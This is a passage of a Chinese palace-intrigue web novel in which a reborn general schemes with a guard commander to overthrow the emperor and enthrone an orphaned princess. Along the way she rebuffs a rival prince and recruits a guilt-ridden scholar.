“丽妃发现周沅生病后,偷偷把人接到了承明宫照顾,但她最后还是没熬过去。”
萧时运听楚庭说完,一时也没有接话。
鼠疫啊……
难怪丽妃那段时间心情特别差。还因为冲撞周秉文被禁足三个月。
放出来后不管不顾弄死了贤妃。
萧时运想着前世丽妃对贤妃的折磨,忽然觉得,丽娘娘还是太仁慈了。
这种事,还得让专业人士来啊。
她于是问楚庭:“贤妃还活着吗?”
“在冷宫。”
“送她点礼物吧。”
萧将军想了想,又补了一句。
别让她死得太容易。
萧时运一向是个没什么同理心的人,也很难说因为一星半点的怜悯,对这个注定要死的小工具网开一面。
但贤妃做的事,确实超出她底线了。
贤妃动手的那个深夜,周沅一个无依无靠的小姑娘,面对群鼠时,该有多绝望啊。
周秉文固然该死,贤娘娘在为恶这件事上,却也不遑多让。
难怪能爱烂人爱得死心塌地。
不过这一世贤妃已败,周沅有他们照顾,也不会再落得那般结局。
既然有了皇嗣,弄死周秉文的事也可以提上日程了。
虽说周沅比她想要的大了点,但一个无依无靠的公主,总好过皇子。
昭惠皇后前车之鉴啊。
至于本朝从未有过公主登基?
那她就做这个开天辟地的头一回好了。
况且扶公主上位,她以后自己做皇帝,也算有例可循。
比起那种野心勃勃不用想都知道会反咬一口的狼崽子,萧时运确实更喜欢这个温顺的像兔子一样的小姑娘。
不管她生母是谁,周沅都是上了皇家玉牒的公主,弘昌帝后宫唯一活着的皇嗣。
虽然萧行歌帮周沅争身份的时候,可能没想这么多。
但无论如何,她还是得谢谢姑姑。
事成后给她追封个皇帝吧,萧时运相信,她会喜欢的。
8. 闲游
弘昌十三年六月的最后一天,萧时运如愿获封云骑都尉,留京安养。除开惯例的恩赏,周秉文还赐了一座三进院子,地段和规制都不错。
萧家离京已近十年,京中余下的一两处房舍皆赁与旁人,这些年也未曾上心打理。萧时运原本吩咐了底下人重新找宅子,如今有现成的地方,倒也省事。
而且和楚指挥使家仅一巷之隔。
虽说周秉文本意是让楚庭盯着她,可谁能想到,鸾仪卫指挥使会变成她的造反好搭档呢。
自作孽不可活啊。
是以萧时运搬进新宅后,时不时就会去楚大人家晃一圈。
比如现在。
一则弄死周秉文确实需要很多准备,不止她和楚庭,还有边关。萧时运在周秉文旨意下来当日,便让青枝带着她的亲笔信启程,明面上是说回北关报喜,也是为将计划告知父亲。
萧时运确信他会同意。
镇西侯府不会坐以待毙。
而且萧时运也没给他们拒绝的余地。
她留京已成定局,就算他们什么也不做,萧将军一意孤行,弄出点刺杀之类的大动静,萧家人一样得整整齐齐见阎王。
听起来有点不厚道,不过萧时运也不在乎。
毕竟,她是在救他们。
也给了他们一个报仇的机会。
至于来楚大人家的另一个原因嘛……
萧时运夹了一筷子莲房鱼包。
饭很好吃。
她第一次来就注意到了,楚大人家不止茶是贡品,连桌上的糕点都比寻常精致许多,看着不比丽妃宫里的差。
后来才知道是周秉文赏的。
萧时运:……
忽然有点嫌弃了。
不过也对,她不该因为楚庭对周秉文的恨,以及和他身份全然不相称的良知,就忽略了,周秉文对他这个亲卫,其实挺不错的。
楚庭的父亲楚寻义是周秉文的侍读,两个人关系很好,狼狈为奸的一对笑面虎。弘昌帝登基,楚寻义原本也该是板上钉钉的新朝宠臣,可惜不知是不是缺德事干的太多,弘昌九年突然暴毙了。
据说绍治帝很是伤心了几天,还破例把楚庭接到身边养着,允许他随伴君行殿。
但这样的出身,他到底为什么恨周秉文呢。
难道是皇上杀了楚侍读?
可看楚寻义死后弘昌帝的反应,也不太像。
人都弄死了,周秉文没道理不斩草除根,还替好兄弟养儿子啊。
有点好奇了。
不过楚庭没有提的意思,她也懒得讨嫌多问。
左右仇恨值没降,他肯弄死周秉文就行。
她这样想着,于是继续专心吃饭。
鱼肉的鲜嫩沁着荷香在舌尖漫开,的确不负时令的清雅本味。
京中的贵人们还真是会享受。
萧时运掩唇笑了笑,讲:“皇上确实很喜欢楚大人。”
今天的赐菜够他们两个吃完之后,再给小桃装一盒带回去了。
而且楚庭一向吃得少,要是她不在,估计这桌菜动不了几筷子。
楚庭闻言慢条斯理喝了口茶,仪态优雅,举止可观。
然后毫不留情翻了个白眼。
“皇上不是也赏了个御厨给你,怎么,你怕他下毒?”
“一个人吃饭没意思,反正楚大人这有现成的,味道又好。”她笑眯眯抬眼,“你不至于这么小气吧。”
虽然每次来都得翻墙。
哎,她和楚大人的关系什么时候才能见光呢。
好期待啊。
——真到那天,也就意味着狗皇帝彻底完蛋了。
萧时运压下心底蠢蠢欲动的暴戾,又道:“有件事想和楚大人商量。”
楚庭疑惑看她一眼,想。这人什么时候这么客气了。
“明天是七夕,京城不设宵禁,我能不能带周沅出来逛逛。”
萧时运讲完,楚指挥使眼里瞬间多了些“你又在打什么坏主意”的探询。
然而萧将军真的只是想带小姑娘出来玩玩。
虽说她对那孩子全然是利用和算计,可既然她们还没到你死我活的那天,她愿意带周沅多看看这个世界。
她从出生就困在冷宫,若真一辈子葬在宫墙内,未免太可惜。
左右周秉文都不一定记得还有这个女儿,她也不介意帮他带带孩子。
记得用皇位谢她哦。
七夕。
萧时运再见到周沅时,小姑娘新换了粉白缠枝纹裥裙,无论衣饰还是状态,都比初见好了不少,只是依然瘦,看向街边行人时,眼底有怯生生的畏惧。
陪周沅出来的宫人不放心开口:“我们娘娘说,宫外人多眼杂,请将军早些送公……姑娘回来。”
萧时运摸了摸小姑娘的头,懒洋洋笑道:“放心吧,我有分寸。”
“姑姑难得出宫一趟,不如也趁此机会好好逛逛。我会着人送沅姑娘回去。”
待宫人离开,萧时运握住小姑娘的手,问:“丽妃有没有暗中苛待你。”
周沅摇了摇头,声音轻细与她讲。谢谢姐姐。
哎,真可爱。
“现在照顾你的宫女是我们自己人,我和楚庭也会定期去看你,有什么事一定要告诉我。”她牵着周沅的手往巷外走,“你不用害怕,我会护着你的。”
双星良夜时,姑娘们云鬓花颜游过灯火琳琅的街巷,登楼穿针,观星拜仙。
三个带虎头面具的小孩提灯从她们面前跑过,嬉笑声欢快敲过空气,萧时运注意到周沅眼里亮晶晶的好奇,于是拦住其中一个:“你们的面具是从哪买的?”
“就在前面!”那孩子抬手给两人指了方向,“旁边还有个巧果摊子。”
她还想再说什么,有同伴回头催促道:“快点吧,兰夜斗巧要开始了。”
萧时运和周沅顺着她指的方向转过街角,果然看见有个卖面具的摊子,各种夸张的色彩堆在一起,显出滑稽而蓬勃的鲜活。
她转头问小姑娘:“喜欢哪一个?”
周沅愣了一下,有些局促捏着手指,小声讲。姐姐选吧。
萧时运见状,把小姑娘轻轻往摊位前推了推,正想说让小姑娘自己挑,忽然听到有人笑。
“又见面了,萧将军。”
萧时运回过身,心底立时多出几分戒备。她盯着眼前嘉姿卓茂的男人看了片刻,试探问:“陆公子还没启程?”
不会真打算和周秉文再续前缘吧。
陆明臣不答她的话,却笑:“将军很在意这件事?”
萧时运不动声色敷衍道:“以陆公子的才华,入仕定然为朝廷栋梁,我若能提前与公子交好,说不定日后北关的粮饷供给,还
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能仰仗公子替将士们争几句。”
“将军言过了。边地苦寒,圣上一向体恤将士们为国征……”陆明臣看见她身边的周沅,讲到一半的场面话卡在嘴边,迟疑问,“这位是?”
“我的远房表妹。”萧时运面不改色扯了个谎,却见陆明臣依然盯着周沅,不由把小姑娘挡在身后,“陆公子若改了主意,明年春闱放榜,我便静候佳音了。”
陆明臣意识到自己失态,敛眸静了片刻,慢慢笑了一下,却不再是方才游刃有余的从容。
“我原打算明日动身。”他转过头,街市人群熙攘,欢声如昼。灯火落在陆公子眼底,照出一点萧索的喟然,“不过京城风物轩峻,再留几日也无妨。”
她闻言看了看陆明臣头顶的数字。
没什么异样。
但陆公子的神色实在可疑。
陆明臣却并不给她试探的机会,拱手道:“将军既与家人同游,再下便不打扰两位雅兴了,告辞。”
萧时运和街对面的楚庭对视一眼,想。逃得这么快,陆公子心事不小啊。
她于是问周沅:“你之前见过他吗?”
小姑娘摇了摇头,抿唇犹豫片刻,怯怯拉了一下萧时运的袖子:“姐姐让我回宫吧。”
周沅能感觉到,陆明臣的情绪变化,是在看见她之后。
萧时运原想先哄小姑娘挑面具,周沅却又重复了一遍。姐姐让我回去吧。
她不想给他们惹麻烦。
萧将军和那份怯弱里薄冰一样的执拗对视片刻,难得叹了口气,和街对面的楚庭打了个手势,带小姑娘进了旁边的窄巷。
楚大人皱眉看了眼陆明臣离开的方向,略等了一会儿,才跟过去。
“陆明臣有问题?”
“他看见周沅的反应很奇怪。”
可陆明臣离京十年,不该和周沅有什么交集。
她思忖片刻,对楚庭道:“先送公主回宫吧,我去找陆明臣。”
“现在?”
“当然。”萧时运勾唇,“我不喜欢把疑惑留太久。”
陆明臣若真认出周沅,他们也得早做防备。
而且她第一次带小姑娘出来玩,就被这家伙毁了。
不管姓陆的藏了什么隐情,他最好能说点对她有用的东西。
萧时运这样想着,安抚摸了摸周沅的头,先出了巷子。长街喧闹如旧,摊贩卖力吆喝着各类货品。
而萧将军刚走过两个摊子,就发现,自己被人盯上了。
没完了是吧。
萧时运磨了磨牙。想。又是哪个不长眼的东西。
她正烦着呢。
萧时运故意放慢了脚步,在街角一个卖花灯的摊位前停下来,随意看了看竹架上的东西。她耐着性子等了半刻,突然闪身拐进了旁边的巷子。
不远处正和摊主闲聊的年轻男人见状,立即丢下手里的东西追过去。然而他才进小巷,一柄刀便悄无声息横上脖颈。
“沈平川,你是不是活腻了。”
他一个潜踪布控一窍不通的书生,到底哪来的自信,敢盯她的梢。
萧时运正打算给这个不知道天高地厚的旧相识一点教训,却有另一个人悠然踱进巷内。
“萧将军,久仰。”
她转头看向来人,略静了一霎,才笑:“我还真是低估了沈翰林的野心。”
9. 邀请
众所周知,皇家是最不讲兄友弟恭的地方。
是以萧时运看到周惟简时,并没有太多意外。
眼前的少年和周秉文有着相似的轮廓,昏影模糊了眉眼的温和明湛,骨血塑出的冷峻也就愈发鲜明,只是比起他的兄长,十六岁的信王殿下显然要稚嫩许多,少年身轻衣衫薄,尚且青涩,尚且执拗,连野心都清澈。
他看着萧时运,全然不在意她的刀还架在沈平川脖子上,只笑:“今夜星桥鹊架,小王在府中略备薄酒,不知将军是否愿意赏光,共观天河。”
虽然她很难再把已经在权欲里泡得浑浊朽败的弘昌帝和这些词联系起来,萧时运还是分神想了一瞬,当年姑姑动心,是因为这份剔透的清湛吗?
但很遗憾,她并不喜欢。
她只觉得愚蠢。
萧将军无动于衷收刀,与信王错身而过,漠然道:“没兴趣。”
“将军何必急着拒绝。”周惟简依然是那副柔澹春融的温和,“镇西侯府久不在京,难免信息闭塞。我敬佩将军的才略,自然也不忍看将军为人暗害,最后身败名裂,冤死异乡。”
萧时运看着巷外灯花如昼的喧闹,语气散漫:“初见就咒人不得好死,殿下这份欣赏,臣实在无福消受。”
这么会说话,要不是皇室的身份庇护,早被打死了吧。
“将军误会了。”周惟简慢慢叹了口气,全然的担忧与关切,“据我所知,萧将军在边关威望颇高。如今皇兄不愿放将军回缙州,将军心里就没有半分顾虑?”
还真是……萧时运忍不住笑了一声:“我是自愿留在京城的。”
她迎着周惟简诧异的目光回身,手里的刀轻巧转过半圈,唇边讥诮刻薄:“殿下若见过战场的血雨腥风,便不会问这种蠢话。”
萧时运讲话一向喜欢直直盯着对面眼睛看,偏偏她自己瞳色又深,光照在那片墨色里,也似吸入幽不见底的深潭。
信王被那幽邃的艳冶晃了一瞬,回过神,才发觉刀柄已抵在胸口。
“萧时运!”
周惟简抬手止住沈平川的动作,又听见萧时运说。殿下太心急了。
她漫不经心抬刀挑了他的下巴,轻飘飘讲:“无论拉拢还是挑拨离间,你都做得很蠢。”
如果不是杀皇亲国戚不好善后,她真的很想敲开信王殿下的头看看,里面到底装的什么玩意。
“言之无物的恐吓并不能让人信服,而一个空有野心却没有大脑的小孩子也不值得我冒险,如果殿下真想合作,至少应该先证明自己的价值。”
刀柄硌着冷而硬的轻蔑明晃晃戳在脸上,周惟简抿唇静了片刻,再开口时,眼睛却亮的惊人。
“将军想要什么样的价值?”
“如果我把今日的对话告诉皇上,信王又该如何消除兄长的疑心?”
萧时运注视着周惟简头顶的数字,却并没有看到预想的变化。
“将军不会说的。”信王殿下笑起来,“事情捅出去,皇兄的疑心,可不止对着我。”
“将军觉得,以皇兄的性子,会不会趁机收了萧家的军权?”
表忠可是要付出代价的。
“北关十万兵马是将军能在京中安稳度日的底气,将军真的舍得吗?”
周惟简抬手握住了刀柄,字句轻缓。
“皇兄曾想借漠北大捷,让镇西侯和化州守将萧时遇跟将军一同回京,只是三月甘州流民生事,皇兄担心边陲不稳,才暂且作罢。”
“不过。”他顿了一下,看萧时运的目光带了些玩味,“皇兄打算派监军往关中道巡边。”
宣同、关中、辽远三道为抵御漠北胡虏的重要防线,萧家镇守的北关位于关中道,是与虏人交锋的前沿。周惟简说的监军,是临时遣往边镇检视的监军太监,惯例从内侍省的亲信太监中选派。
历来监军差使皆随皇帝心意而定,无常制,且不过阁部议事。
“常言功高震主,兔死狗烹。漠北平定,统帅十万兵马的镇西侯府自然也碍眼。君主薄情,萧家又何必抱着那点不被认可的忠心,坐以待毙呢?”
萧时运和他眼里的锋芒对视片刻,笑:“长安宫里有殿下的人?”
周惟简也笑:“这算将军想要的价值吗?”
萧时运不置可否,低眼撤了刀,又恢复了最初的漠然:“我不喜欢把事情定的太草率。”
她转身往巷外走,语气里听不出什么情绪:“三日后,我会给殿下一个答复。”
萧时运随意在街市逛了逛,甩掉身后不死心的沈平川,临到陆府门前,忽然改变主意,回了自己家。
她才进房间,便听到有人问:“见过陆明臣了?”
“节外生枝。”
萧时运简单和楚庭讲过今夜的事,又笑,周家还真是祖传的兄弟情深。
沈平川提亲时,萧时运确实有过怀疑。
镇西侯府最惹人惦记的东西是兵权,但这不是沈平川自己能吃下来的东西。
若他是在替周惟简做事,一切倒解释得通了。
这些年周秉文一直没给过周沅册封,前朝后宫知道她存在的人寥寥无几。眼看弘昌帝无子,信王殿下也生出了些不该有的心思。
楚庭敛眸沉默片刻,问:“要先对付周惟简吗?”
论兄终弟及,信王的确可以争一争。
“暂且看看吧。”萧时运给自己倒了杯茶,“周惟简虽说莽撞了点,但他能搭上长安宫的近侍,总归是有点手段。”
“与其在这个时候多个敌人,倒不如物尽其用。”
缇骑司和内侍监直承天听,周秉文本就有意让两者相互制衡,楚庭不会,也不能和内侍省扯上关系。
周惟简和他倒是互补。
楚庭忽然抓住她的手腕。
“内侍监那些阉人没有理由替信王做事。”他看着她,潋滟的眉眼里映着莫可名状的执拗,“你和周惟简今日不过初见,你就那么信他?”
萧时运低眼笑了笑,没计较楚大人的动作,平静说:“信王知道周秉文打算派监军巡边。这件事在前世一直压到八月,才有旨意给阁部。”
那时候监军刘谈已经启程了。
“弘昌帝身边,的确有人愿意给信王透消息。”
楚庭脸色依然不是很好:“你怎么知道他不是和你我一样,提前知道未来的结局?”
“是又怎么样
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呢?”萧时运闻言大笑,“反正我最后也不会放过他。”
如果沈平川这么早就搭上了信王。那他前世构陷萧家的举动,很难不让她多想啊。
“镇西侯府倒了,北关的兵马总要人接手。楚大人觉得,前世那几个和沈大人一同发难的指挥使,能不能趁机分一杯羹?”
她讲这话时,眼底显出报仇雪恨的痛快。
行宫那把火烧得真好啊。
不止烧死了沈大人,还毁了信王的谋划。
用萧家十几口人的性命搏周秉文的信任,还想趁机吃下北关的兵马,这个账,她今生也要好好算一算呢。
“我不觉得周惟简有前世的记忆。”萧时运神色玩味盯着自己的好搭档,“可御侧如果真出了吃里扒外的东西,鸾仪卫指挥使大人为了皇帝的安危,也该好好查一查,不是吗?”
抓在腕上的力道松了些,她却没有抽开手,只继续笑盈盈讲:“能和周秉文说得上话的就那么几位,又是议军政,这可不是随便就能偷听到的内容。”
如果她没记错,有资格侍奉君侧的,一共就八位内侍监,和上直十二卫的统领太监陈谷。
这几位都是周秉文的铁杆心腹,理论上也确如楚庭所言,没有背叛的理由。
他们又没有家传万代的追求,浮在未来的饼,哪有现成的权势香。
而且都混到这个位置了,自然也是人精中的人精,不该管不好自己的舌头。
真奇怪。
萧时运仔细想了半晌,也没记起前世那几个内侍有什么异样。
下半年似乎有个呈笔太监被放出宫外,周秉文因此让小康子补了内侍监的缺。但那个呈笔是老病乞退,小康子伏诛后,周秉文一时没找到合适的人选,又把人叫回来用了一段时间。
“我会尽快查出结果。”楚庭收回手,欲盖弥彰别开脸,“如果真有这个人,信王也逃不过勾结内侍的死罪。”
“我都说了,别心急。”她戳了戳眼前人的脸,“楚指挥使这么在意他,是吃醋了?”
楚庭:……
楚庭:“滚。”
“这是我家。”
楚大人冷不防被噎了一下,沉默半晌,生硬扯开话题:“你别忘了陆明臣的事。”
萧时运喝了口茶,懒洋洋倚进圈椅,语气平直:“信王今夜敢来找我,是笃定周秉文会对镇西侯府下手。我如果拒绝,他大约会再用一次前世的手段。”
“与其分出精力去应付这个难缠的小鬼,倒不如暂且多个盟友。”
“放心吧,最后打进长安宫的,一定是我们的人。”
楚指挥使抿唇犹豫片刻,讲。你自己知道分寸。
“我当然不会有什么愚蠢的幻想。”她用杯盖刮了刮茶叶,唇边笑意散漫,“倒是楚大人再不回去,是准备留下来陪我过夜吗?”
楚庭:……
萧时运看着搭档的背影想。楚大人又脸红了呢。
真好玩。
下次还逗。
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*本文区划按道,府-州,县来。对应道台、知府、知州、知县
*李用那个内侍监首席大太监的职位大概等于司礼监掌印
10. 客至
楚庭离开后,萧时运移了盏灯到窗边。小桃端了水从外面进来,待自家小姐梳洗完,好奇问:“小姐的客人走了?”
那人先前悄无声息出现在院子里,着实吓了她一跳,要不是自家小姐提前交代过,她怕是立刻要喊出声来。
萧时运支着下巴听小丫头抱怨,敛眸笑了笑:“留神些吧,他以后会常来呢。”
她顿了一下,又问:“其他人有什么异常吗?”
“小姐放心,我盯得可仔细了。这两日有个丫鬟总爱往屋边凑,看着就可疑,我昨日寻了个借口,打发她去堆房理柴垛了,要赶出去吗?”
她们搬进府里时,萧时运特意交代,看好那些新来的下人。
“不急,估计不止她一个呢。”萧时运戳了戳眼前姑娘的额头,“早和你说过,这座宅子里真正靠得住的,只有我们从北关带回来的人。”
怎么还有啊!小桃听见这话,不由蔫巴巴叹了口气:“真希望青枝姐姐能再带点帮手回来,小姐这两日也总不见人,只剩我看家,心里还怪慌的。”
“怕什么,有我在呢。”
她顺手给小丫头塞了块酥糖,小桃也只好暂且放下自己的愁眉苦脸,专心吃嘴里的点心。
“若再有什么可疑的人,先告诉我,不必急着处置。”萧时运侧身拨了拨烛芯,光影落在眼底,照开一小块太平无事的澄明,“时候不早了,去休息吧。记得漱口,不然仔细牙疼。”
她也要好好理一理如今的情况。
周秉文对萧家的算计与前世如出一辙,八月监军巡边,她提前叮嘱过青枝,应当能阻止萧时遇堕马。
最大的变数是周惟简。
上一世她被周秉文关在长乐宫,和周惟简只在十四年的除夕宫宴潦草打过照面,自然也无从得他的动向。如今她封勋留京,信王殿下似乎也做出了不同的选择。
以他们今晚的对话来看,周惟简不像有前世的记忆。
否则比起那些故作玄虚的空话,预言萧时遇的堕马和周秉文的过河拆桥,显然会更有说服力——虽说沈平川的诬陷里未必没有信王的推波助澜,但弘昌帝显然才是最该死的始作俑者,也是明面上唯一的主谋。
况且谁给周秉文当刀子这种细枝末节,也不是萧时运该知道的。
多半还是长安宫出了内鬼。
让楚大人去查吧,缇骑司和内侍监一向不对付,现在有机会给那些阉人找点不痛快,他估计也挺开心的。
她得去探探陆明臣的心思。
原本只是因为周沅,可如今知道沈平川和信王的关系,陆公子对沈翰林突然疏远,就更可疑了。
真不愧是十六岁锋芒初试就帮周秉文借刀杀人夺了帝位的人,两面之缘,竟然能给她留下这么多疑惑。
然而萧时运没想到,第二日一早,她还没来得及找陆明臣解惑,陆公子的拜帖就先送到了都尉府。
刚换好衣服的萧将军恹恹打了个哈欠。想。姓陆的是不是过于迫不及待了。
这才几点啊。
她在书房见了陆明臣。小桃给他们上过茶,安静退出房内。薄而亮的日光透过窗棂,落下满室斑驳的花影。陆明臣看着萧将军,开口却没有任何的迂回试探,语气平直:“她究竟是谁?”
萧时运不答他的话,只笑盈盈与陆公子让茶,凤眸边缘细细一线锋利的白光,镀出冷而锐的探询。她见陆明臣不为所动,低眼笑了笑,讲:“公子既然会来找我,想必心里已经有了答案。”
“她长得很像公子一位故人,是吗?”
话音方落,对方的视线立时多了几分审视,萧时运在眼前人水波不兴的平和下看到嶙峋的血腥气,和楚庭的阴鸷不同,陆明臣的威慑里,有一些她更熟悉的东西。
真有趣。
不愧是经历过道永三十七你死我活的大场面,陆公子一个出身清流的文人,竟然能拥有这样磅礴万钧的威慑与杀意。
她和眼前人对视片刻,笑:“比起这个,我其实更好奇,沈翰林究竟哪里得罪了陆公子,要被陆府拒之门外。”
“你怎么知道沈平川找过我?”他一瞬变了脸色,“萧时运,你究竟想干什么?”
那时候萧家女还没到京城。
她对京里的动向,是不是过于上心了。
“陆公子的问题太多了。”萧时运轻轻点了点杯沿,“不如公子先把想说的话说完,我再告诉你答案。”
“我没什么要说的。”陆明臣面无表情起身,“看在你我两家多年相交的份上,我奉劝你一句,不要玩火自焚。”
“真敏锐啊……”
她慢慢叹了口气,仿佛往事如尘的感喟,陆明臣却在那份惋惜里,硬生生听出薄凉的讥诮。
“可是我为什么要听你的?”
她抬起头,唇边笑意粲然,全然无辜又坦荡的明媚:“陆公子能做成的事,我为什么不能试一试呢?”
“我跟公子说句实话吧。”她笑,“如果能功成身退,我当然也不愿冒这个风险。”
陆明臣迟疑回身。
“可宫里那位动了过河拆桥的心思。陆公子觉得,萧家如果出事,皇上会放过陆家吗?”
先帝时陆逊业的堂妹嫁给了镇西侯的哥哥,陆逊业的夫人和萧家也是表亲。虽说萧时运懒得去算她和陆明臣到底是什么亲缘,但两家关系千丝万缕,又都是靠着本朝从龙之功起家,唇亡齿寒的道理,陆明臣不会不明白。
“陆公子若是不信我,且看看八月的旨意吧。”
陆明臣抿唇沉默片刻,再开口时,声音里带了些滞缓的艰涩:“怀王妃的女儿还活着,是吗?”
萧时运笑眯眯点头:“是唯一活着的皇嗣呢。”
他在她的注视里狼狈别开脸:“皇上春秋正盛,宫中未必没有皇子降生,为什么要选周沅?”
那你未免太看得起周秉文了。她嗤笑一声,忽然起身贴近眼前人:“为什么不能是她呢?”
“明明从认出周沅的那一刻,就意识到了我的心思,可陆公子不但没去缇骑司揭发我,还主动凑上来。”她轻轻点了点陆明臣的衣襟,依然字句轻缓,眼神却显出刻薄的讽刺,“陆公子对怀王妃的愧疚,还真是不浅呢。”
甚至连全族的性命都顾不上了。
“你!”
哎,真可惜,为什么她只能看到恨与恐惧呢。
陆公子此刻的愧疚如果能具像成数值,怕是比楚大人的恨还要精彩。
她迎着他眼里虚张声势的愠怒,肆无忌惮笑起来:“当年笼子里那支箭,是你放的,对吧?”
“
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你怎么知道——”
萧时运在陆明臣的震惊里漫不经心喝了口茶。想。这有什么难猜的。
能让周秉文说出陆卿实为朕即位第一功臣这种话,还要赐官封爵的陆明臣,自然不是等闲之辈。
虽说陆公子最后一个都没接受。
萧家和陆家都是当年事情的亲历者,她在京城几年,也难免听过一星半点的传言。
猎场出事前,有人曾在怀王围帐附近看到过陆明臣。
其实更早的时候,江家和陆萧两家私交不错,姑姑和江采薇还是手帕交。不过后来康敬太子崩逝,怀王娶了江家女,利益相左,关系也就淡了。
更何况江采薇死的时候,姑姑的手信,还是她带出来的。
那几年出入禁宫,萧时运仗着年纪小不容易惹周秉文怀疑,没少替家里传递消息。
就算她不知道信的内容,可母亲看罢悄悄去了陆府,再加上陆公子现在的反应,再迟钝,她也该回过味来了。
陆明臣离京十年。
今年也是江采薇离世的第十年。
两人相持片刻,陆明臣认命一般合眼,轻声道:“放过她。”
什么?
萧时运一时没明白他的意思。困惑皱眉。
“如果你只是想要个皇嗣,后宫那么多女人,总会有人愿意为了荣宠去冒险。”他看着她,语气隐隐透出警告,“但是把她扯进来,不行。”
萧时运忽然很想笑。
陆家因为陆明臣的谋算而起,今日却也因为他的愧疚,再度成为乱臣贼子的同犯。
这算是报应吗?
“可周秉文不争气,我也没有别的选择啊。”她无动于衷摊手,“陆公子不觉得这个要求太强人所难了吗?”
“能把人神不知鬼不觉从宫里带出来,萧将军这话,似乎没什么信服力。”
他不确定她究竟搭上了什么人,但显然,这位在内庭的权力不小。
萧时运闻言笑了一声:“既然有现成的皇嗣,我为什么要冒多余的风险?”
“而且陆公子要想清楚。”她故意顿了片刻,“我如果有了其他选择,周沅可就活不成了。”
她看起来像什么喜欢养孩子的慈善家吗?
莫名其妙。
陆明臣眼底在那一瞬间划过很多情绪,愤怒,忧虑,懊恨……粼粼浸在光里,似水纹潋滟的涟漪。然而他开口,却只有风止浪息的平寂。
“你有多大把握?”
“陆公子不揭发我的话,九成吧。”
陆明臣沉默片刻,讲。我可以帮你瞒着父亲。
果然。萧时运想。他也知道陆相不可能容得下这种悖逆。
哪怕上一世见证过萧家遭难,陆逊业也只是用致仕的乞退,接受了陆家的衰微。
还好,周秉文身边,并没有太多这样的愚忠。
“有件事不知道当问不当问。”
她看着他,字句平直,语气轻缓。
“陆公子恨不恨皇上?”
能被这样刻骨铭心的愧疚纠缠十年,陆明臣对逼死江采薇的始作俑者,又会是什么感情呢。
“与你无关。”
萧时运看着闪烁的红字,了然笑了笑,暂且别开话题:“那陆公子为什么要疏远沈翰林呢?”
11. 偶遇
陆明臣神色复杂看她,犹豫片刻,讲:“他想给崔家的案子求情。”
崔家?
“鸿胪寺丞崔放的弟弟在南平惹了人命官司,案卷送到了刑部。”他注意到萧时运眼里一闪而过的茫然,试探问,“能值得萧将军上心,想来沈翰林身上,不止这一桩事?”
“离他远点吧。”
萧时运若无其事喝了口茶,想。所以陆明臣离京和沈平川去找他这两件事,只是碰巧撞在一起?
如果不是昨夜遇见周沅,陆公子不会打算再逃个十几年吧?
真丢人啊。
早知如此,何必当初呢。
她压下心底的腹诽:“说起来,丽妃和怀王妃从前有什么恩怨吗?”
“丽妃……你是说宋妙静?”陆明臣敛眸,似乎是在斟酌措辞,“谈不上恩怨吧,毕竟采薇都走了这么多年……”
他静了一霎,问。她为难公主了?
萧时运否定他的担忧,笑:“我只是随便问问。”
“陆公子放心,后宫难得有个幸存的孩子,我可舍不得她被人欺负。”
弘昌帝执政十三年,数起大狱,罪眷或籍没发卖,或充入掖庭,其中难免有人会对弘昌帝心怀怨恨。纵然势单力薄无从反抗,但帮他们做点不起眼的小事,还是可以的。
萧时运就是这样,挑出了在掖庭做苦役的罪奴春雨去照顾周沅。
疑惑既消,他们也并没有多余的话要讲,萧时运送走陆明臣,倚在榻边出了会儿神,抬眼见小桃进来收杯盏,于是说:“左右今天没什么事,陪我出去逛逛吧。”
街巷车马骈阗,各路行人和着摊贩的叫卖声与她们擦肩,一派热闹熨帖的繁华。小桃看着巷口的糖画摊子咽了咽口水,问:“小姐有什么要买的吗?”
萧时运摇摇头,拿了几串钱给小丫鬟:“你看着挑吧。”
她对这满目的琳琅并没有太多兴致,回京忙到现在,难得有一天清闲,说来逛逛,也就真的只是想透透气。
而自幼长在边塞的小桃显然比自家小姐兴奋许多,小丫头接过钱,正想去买糖画,又被杏芳斋刚出炉的点心香勾住脚步。萧时运由着她买了云片糕和香花酪,又在隔壁铺子选了几件做工精巧的小东西,小桃让老板分开包了两份,转过头,眼睛亮晶晶看着萧时运:“青枝姐姐应该会喜欢吧。”
“当然。”萧时运笑了笑,看向对面的珠翠楼时,想,给两个姑娘添点首饰吧。
两人走进铺子,格架前一个穿鹅黄碧青间色襦裙的年轻姑娘听见声音,回身迎过来,笑:“贵人想要什么?”
萧时运估计青枝一时回不来,暂且按她平日的喜好挑了两支玉竹流苏簪。小桃在店里看了一圈,小声问:“小姐,这些是不是太华丽了,奴婢……”
“这算什么,等你见过京里那些贵人们的排场,只怕会觉得现在这些不够看呢。”她笑了一声,顺手捏了捏小丫头的脸,“快选吧,免得我日后带你出去交际,还要落个亏待下人的话柄。”
小桃闻言犹豫挑了半晌,最后指了角落里一个坠银珠的石榴红花簪。店里那位年轻姑娘笑着将簪子递过来,问:“贵人是刚到京城?”
那姑娘看着不过十五六岁的模样,容貌算不上一等一的出挑,但一双杏眼看人总带着笑,声音也轻快雀跃,便也显出花苞一样明洁的姣妍。
“算是吧。”萧时运打量了一下店内的装潢,好奇问,“能在京城有这么大的铺面,看来你们家生意不错?”
那姑娘脆生生笑起来,语气欢喜蓬勃,仿佛洒在银盘上的一捧珍珠:“是呢,京中许多贵人都是我们家的常客。之前还有位大人夸过珠翠楼的首饰,说和内宫的银作局比起来也不逊色呢。”
“你这丫头,嘴里愈发没个把门了。”一个年长些的妇人匆匆从楼上下来,对两人陪笑道,“小姑娘家讲话不知轻重,让贵人见笑了。”
那姑娘委屈巴巴看着妇人,正要开口,余光瞥见新进店的客人,眼睛一亮:“沈姐姐来了!”
萧时运回过身,也笑:“这么巧。”
来人穿天水碧对襟杉裙,纹饰翠云千叠,人也似雨后新荷,清秀温婉,亭亭清绝。
是沈平川的姐姐,沈怀月。
她看见萧时运似乎有些意外,眼底忧惶一闪而过,随即敛眸行礼:“见过萧将军。”
“你我相识多年,何必讲这些虚礼。”萧时运笑,“回京事务繁杂,还没来得及和沈姑娘叙旧。”
她对沈怀月谈不上什么恨或者厌恶,沈姑娘性子太柔,水一样缄默而清澈的温顺,且前世沈平川发难之前,她似乎……已经病逝了?
算起来,好像也就是这几个月的事。
可沈怀月现在虽说瘦了点,却也不像病入膏肓不久人世的样子。
不过看她头顶的黑字,沈小姐现在,似乎挺有心事的。
沈怀月无从得知萧时运的疑惑,对店中的妇人道:“薛姨,我之前定的那副头面,有几个配饰还想您改一下。”
妇人闻言带沈怀月上了楼,又叮嘱自家姑娘照看好客人。萧时运听她们说话,才知道那姑娘叫小云。
